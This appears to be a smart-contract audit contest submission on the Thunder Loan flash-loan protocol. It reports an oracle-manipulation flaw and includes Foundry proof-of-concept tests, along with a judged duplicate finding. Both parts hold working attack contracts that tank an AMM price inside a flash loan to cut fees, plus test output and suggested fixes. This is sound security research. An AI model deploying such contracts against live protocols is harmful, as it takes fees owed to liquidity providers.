Thunder Loan

AI First Flight #7
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Submission Details
Severity: medium
Valid

[M-1] Using TSwap as price oracle leads to price and oracle manipulation attacks

[M-1] Using TSwap as price oracle leads to price and oracle manipulation attacks

Description

The TSwap protocol is a constant product formula based AMM (automated market maker). The price of a token is determined by how many reserves are on either side of the pool. Because of this, it is easy for malicious users to manipulate the price of a token by buying or selling a large amount of the token in the same transaction, essentially ignoring protocol fees.

function getPriceInWeth(address token) public view returns (uint256) {
address swapPoolOfToken = IPoolFactory(s_poolFactory).getPool(token);
@> return ITSwapPool(swapPoolOfToken).getPriceOfOnePoolTokenInWeth();
}

Risk

Likelihood: Medium

  • There are chances MEV bots will see your tx and front run you to swap on dex and change the price make you a bad deal.

Impact:: Medium

  • Liquidity providers will drastically reduced fees for providing liquidity.

Proof of Concept

The following all happens in 1 transaction.

  1. User takes a flash loan from ThunderLoan for 1000 tokenA. They are charged the original fee fee1. During the flash loan, they do the following:
    a. User sells 1000 tokenA, tanking the price.
    b. Instead of repaying right away, the user takes out another flash loan for another 1000 tokenA.

  2. Due to the fact that the way ThunderLoan calculates price based on the TSwapPool this second flash loan is substantially cheaper.

  3. The user then repays the first flash loan, and then repays the second flash loan.

Add the following to ThunderLoanTest.t.sol.

Proof Of Code
function testOracleManipulation() public {
// 1. Setup contracts!
thunderLoan = new ThunderLoan();
tokenA = new ERC20Mock();
proxy = new ERC1967Proxy(address(thunderLoan), "");
BuffMockPoolFactory pf = new BuffMockPoolFactory(address(weth));
// Create a DEX between WETH/TokenA
address tswapPool = pf.createPool(address(tokenA));
thunderLoan = ThunderLoan(address(proxy));
thunderLoan.initialize(address(pf));
// 2. Fund TSwap
vm.startPrank(liquidityProvider);
tokenA.mint(liquidityProvider, 100e18);
tokenA.approve(tswapPool, 100e18);
weth.mint(liquidityProvider, 100e18);
weth.approve(tswapPool, 100e18);
BuffMockTSwap(tswapPool).deposit(100e18, 100e18, 100e18, block.timestamp * 2);
// Ratio 100 WETH & 100 TokenA
// Price: 1:1
vm.stopPrank();
// 3. Fund ThunderLoan
vm.prank(thunderLoan.owner());
thunderLoan.setAllowedToken(tokenA, true);
vm.startPrank(liquidityProvider);
tokenA.mint(liquidityProvider, 1000e18);
tokenA.approve(address(thunderLoan), 1000e18);
thunderLoan.deposit(tokenA, 1000e18);
vm.stopPrank();
// 100 WETH & 100 TokenA in TSwap
// 1000 TokenA in ThunderLoan
// Take out a flash loan of 50 tokenA
// swap it on the dex, tanking the price > 150 tokenA -> ??? weth
// Take out another flash loan of 50 tokenA (and we'll see how much cheaper it is!!)
// 4. We are going to take out 2 flash loan
// a. To nuke the price of weth/tokenA on TSWap
// b. To show that doing so greatly reduces the fees we pay on ThunderLoan
uint256 normalFeeCost = thunderLoan.getCalculatedFee(tokenA, 100e18);
console.log("Normal fee cost for 100 tokenA flash loan:", normalFeeCost);
// 0.296147410319118389
uint256 amountToBorrow = 50e18;
MaliciousFlashLoanReceiver flr = new MaliciousFlashLoanReceiver(
tswapPool, address(thunderLoan), address(thunderLoan.getAssetFromToken(tokenA))
);
vm.startPrank(user);
tokenA.mint(address(flr), 100e18);
thunderLoan.flashloan(address(flr), tokenA, amountToBorrow, "");
vm.stopPrank();
uint256 attackFee = flr.feeOne() + flr.feeTwo();
console.log("Attack fee is: ", attackFee);
assert(attackFee < normalFeeCost);
}
contract MaliciousFlashLoanReceiver is IFlashLoanReceiver {
// 1. Swap TokenA borrowed for weth
// 2. Take out ANOTHER flash loan, to show the difference
ThunderLoan thunderLoan;
address repayAddress;
BuffMockTSwap tswapPool;
bool attacked;
uint256 public feeOne;
uint256 public feeTwo;
constructor(address _tswapPool, address _thunderLoan, address _repayAddress) {
thunderLoan = ThunderLoan(_thunderLoan);
repayAddress = _repayAddress;
tswapPool = BuffMockTSwap(_tswapPool);
}
function executeOperation(
address token,
uint256 amount,
uint256 fee,
address,
/*initiator*/
bytes calldata /*params*/
)
external
override
returns (bool)
{
if (!attacked) {
// 1. Swap TokenA borrowed for weth
// 2. Take out ANOTHER flash loan, to show the difference
feeOne = fee;
attacked = true;
uint256 wethBought = tswapPool.getOutputAmountBasedOnInput(50e18, 100e18, 100e18);
IERC20(token).approve(address(tswapPool), 50e18);
// Tank the price!!
tswapPool.swapPoolTokenForWethBasedOnInputPoolToken(50e18, wethBought, block.timestamp);
// we call a second flash loan!!!!
thunderLoan.flashloan(address(this), IERC20(token), amount, "");
// repay
// IERC20(token).approve(address(thunderLoan), amount + fee);
// thunderLoan.repay(IERC20(token), amount + fee);
IERC20(token).transfer(repayAddress, amount + fee);
} else {
// calculate the fee and repay
feeTwo = fee;
// repay
// IERC20(token).approve(address(thunderLoan), amount + fee);
// thunderLoan.repay(IERC20(token), amount + fee);
IERC20(token).transfer(repayAddress, amount + fee);
}
return true;
}
}

Recommended Mitigation

Consider using a different price oracle mechanism, like a Chainlink price feed with a Uniswap TWAP fallback oracle.

Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 8 hours ago
Submission Judgement Published
Validated
Assigned finding tags:

[M-02] Attacker can minimize `ThunderLoan::flashloan` fee via price oracle manipulation

## Vulnerability details In `ThunderLoan::flashloan` the price of the `fee` is calculated on [line 192](https://github.com/Cyfrin/2023-11-Thunder-Loan/blob/8539c83865eb0d6149e4d70f37a35d9e72ac7404/src/protocol/ThunderLoan.sol#L192) using the method `ThunderLoan::getCalculatedFee`: ```solidity uint256 fee = getCalculatedFee(token, amount); ``` ```solidity function getCalculatedFee(IERC20 token, uint256 amount) public view returns (uint256 fee) { //slither-disable-next-line divide-before-multiply uint256 valueOfBorrowedToken = (amount * getPriceInWeth(address(token))) / s_feePrecision; //slither-disable-next-line divide-before-multiply fee = (valueOfBorrowedToken * s_flashLoanFee) / s_feePrecision; } ``` `getCalculatedFee()` uses the function `OracleUpgradeable::getPriceInWeth` to calculate the price of a single underlying token in WETH: ```solidity function getPriceInWeth(address token) public view returns (uint256) { address swapPoolOfToken = IPoolFactory(s_poolFactory).getPool(token); return ITSwapPool(swapPoolOfToken).getPriceOfOnePoolTokenInWeth(); } ``` This function gets the address of the token-WETH pool, and calls `TSwapPool::getPriceOfOnePoolTokenInWeth` on the pool. This function's behavior is dependent on the implementation of the `ThunderLoan::initialize` argument `tswapAddress` but it can be assumed to be a constant product liquidity pool similar to Uniswap. This means that the use of this price based on the pool reserves can be subject to price oracle manipulation. If an attacker provides a large amount of liquidity of either WETH or the token, they can decrease/increase the price of the token with respect to WETH. If the attacker decreases the price of the token in WETH by sending a large amount of the token to the liquidity pool, at a certain threshold, the numerator of the following function will be minimally greater (not less than or the function will revert, see below) than `s_feePrecision`, resulting in a minimal value for `valueOfBorrowedToken`: ```solidity uint256 valueOfBorrowedToken = (amount * getPriceInWeth(address(token))) / s_feePrecision; ``` Since a value of `0` for the `fee` would revert as `assetToken.updateExchangeRate(fee);` would revert since there is a check ensuring that the exchange rate increases, which with a `0` fee, the exchange rate would stay the same, hence the function will revert: ```solidity function updateExchangeRate(uint256 fee) external onlyThunderLoan { // 1. Get the current exchange rate // 2. How big the fee is should be divided by the total supply // 3. So if the fee is 1e18, and the total supply is 2e18, the exchange rate be multiplied by 1.5 // if the fee is 0.5 ETH, and the total supply is 4, the exchange rate should be multiplied by 1.125 // it should always go up, never down // newExchangeRate = oldExchangeRate * (totalSupply + fee) / totalSupply // newExchangeRate = 1 (4 + 0.5) / 4 // newExchangeRate = 1.125 uint256 newExchangeRate = s_exchangeRate * (totalSupply() + fee) / totalSupply(); // newExchangeRate = s_exchangeRate + fee/totalSupply(); if (newExchangeRate <= s_exchangeRate) { revert AssetToken__ExhangeRateCanOnlyIncrease(s_exchangeRate, newExchangeRate); } s_exchangeRate = newExchangeRate; emit ExchangeRateUpdated(s_exchangeRate); } ``` `flashloan()` can be reentered on [line 201-210](https://github.com/Cyfrin/2023-11-Thunder-Loan/blob/8539c83865eb0d6149e4d70f37a35d9e72ac7404/src/protocol/ThunderLoan.sol#L201-L210): ```solidity receiverAddress.functionCall( abi.encodeWithSignature( "executeOperation(address,uint256,uint256,address,bytes)", address(token), amount, fee, msg.sender, params ) ); ``` This means that an attacking contract can perform an attack by: 1. Calling `flashloan()` with a sufficiently small value for `amount` 2. Reenter the contract and perform the price oracle manipulation by sending liquidity to the pool during the `executionOperation` callback 3. Re-calling `flashloan()` this time with a large value for `amount` but now the `fee` will be minimal, regardless of the size of the loan. 4. Returning the second and the first loans and withdrawing their liquidity from the pool ensuring that they only paid two, small `fees for an arbitrarily large loan. ## Impact An attacker can reenter the contract and take a reduced-fee flash loan. Since the attacker is required to either: 1. Take out a flash loan to pay for the price manipulation: This is not financially beneficial unless the amount of tokens required to manipulate the price is less than the reduced fee loan. Enough that the initial fee they pay is less than the reduced fee paid by an amount equal to the reduced fee price. 2. Already owning enough funds to be able to manipulate the price: This is financially beneficial since the initial loan only needs to be minimally small. The first option isn't financially beneficial in most circumstances and the second option is likely, especially for lower liquidity pools which are easier to manipulate due to lower capital requirements. Therefore, the impact is high since the liquidity providers should be earning fees proportional to the amount of tokens loaned. Hence, this is a high-severity finding. ## Proof of concept ### Working test case The attacking contract implements an `executeOperation` function which, when called via the `ThunderLoan` contract, will perform the following sequence of function calls: - Calls the mock pool contract to set the price (simulating manipulating the price) - Repay the initial loan - Re-calls `flashloan`, taking a large loan now with a reduced fee - Repay second loan ```solidity // SPDX-License-Identifier: MIT pragma solidity 0.8.20; import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import { SafeERC20 } from "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol"; import { IFlashLoanReceiver, IThunderLoan } from "../../src/interfaces/IFlashLoanReceiver.sol"; import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import { MockTSwapPool } from "./MockTSwapPool.sol"; import { ThunderLoan } from "../../src/protocol/ThunderLoan.sol"; contract AttackFlashLoanReceiver { error AttackFlashLoanReceiver__onlyOwner(); error AttackFlashLoanReceiver__onlyThunderLoan(); using SafeERC20 for IERC20; address s_owner; address s_thunderLoan; uint256 s_balanceDuringFlashLoan; uint256 s_balanceAfterFlashLoan; uint256 public attackAmount = 1e20; uint256 public attackFee1; uint256 public attackFee2; address tSwapPool; IERC20 tokenA; constructor(address thunderLoan, address _tSwapPool, IERC20 _tokenA) { s_owner = msg.sender; s_thunderLoan = thunderLoan; s_balanceDuringFlashLoan = 0; tSwapPool = _tSwapPool; tokenA = _tokenA; } function executeOperation( address token, uint256 amount, uint256 fee, address initiator, bytes calldata params ) external returns (bool) { s_balanceDuringFlashLoan = IERC20(token).balanceOf(address(this)); // check if it is the first time through the reentrancy bool isFirst = abi.decode(params, (bool)); if (isFirst) { // Manipulate the price MockTSwapPool(tSwapPool).setPrice(1e15); // repay the initial, small loan IERC20(token).approve(s_thunderLoan, attackFee1 + 1e6); IThunderLoan(s_thunderLoan).repay(address(tokenA), 1e6 + attackFee1); ThunderLoan(s_thunderLoan).flashloan(address(this), tokenA, attackAmount, abi.encode(false)); attackFee1 = fee; return true; } else { attackFee2 = fee; // simulate withdrawing the funds from the price pool //MockTSwapPool(tSwapPool).setPrice(1e18); // repay the second, large low fee loan IERC20(token).approve(s_thunderLoan, attackAmount + attackFee2); IThunderLoan(s_thunderLoan).repay(address(tokenA), attackAmount + attackFee2); return true; } } function getbalanceDuring() external view returns (uint256) { return s_balanceDuringFlashLoan; } function getBalanceAfter() external view returns (uint256) { return s_balanceAfterFlashLoan; } } ``` The following test first calls `flashloan()` with the attacking contract, the `executeOperation()` callback then executes the attack. ```solidity function test_poc_smallFeeReentrancy() public setAllowedToken hasDeposits { uint256 price = MockTSwapPool(tokenToPool[address(tokenA)]).price(); console.log("price before: ", price); // borrow a large amount to perform the price oracle manipulation uint256 amountToBorrow = 1e6; bool isFirstCall = true; bytes memory params = abi.encode(isFirstCall); uint256 expectedSecondFee = thunderLoan.getCalculatedFee(tokenA, attackFlashLoanReceiver.attackAmount()); // Give the attacking contract reserve tokens for the price oracle manipulation & paying fees // For a less funded attacker, they could use the initial flash loan to perform the manipulation but pay a higher initial fee tokenA.mint(address(attackFlashLoanReceiver), AMOUNT); vm.startPrank(user); thunderLoan.flashloan(address(attackFlashLoanReceiver), tokenA, amountToBorrow, params); vm.stopPrank(); assertGt(expectedSecondFee, attackFlashLoanReceiver.attackFee2()); uint256 priceAfter = MockTSwapPool(tokenToPool[address(tokenA)]).price(); console.log("price after: ", priceAfter); console.log("expectedSecondFee: ", expectedSecondFee); console.log("attackFee2: ", attackFlashLoanReceiver.attackFee2()); console.log("attackFee1: ", attackFlashLoanReceiver.attackFee1()); } ``` ```bash $ forge test --mt test_poc_smallFeeReentrancy -vvvv // output Running 1 test for test/unit/ThunderLoanTest.t.sol:ThunderLoanTest [PASS] test_poc_smallFeeReentrancy() (gas: 1162442) Logs: price before: 1000000000000000000 price after: 1000000000000000 expectedSecondFee: 300000000000000000 attackFee2: 300000000000000 attackFee1: 3000 Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 3.52ms ``` Since the test passed, the fee has been successfully reduced due to price oracle manipulation. ## Recommended mitigation Use a manipulation-resistant oracle such as Chainlink.

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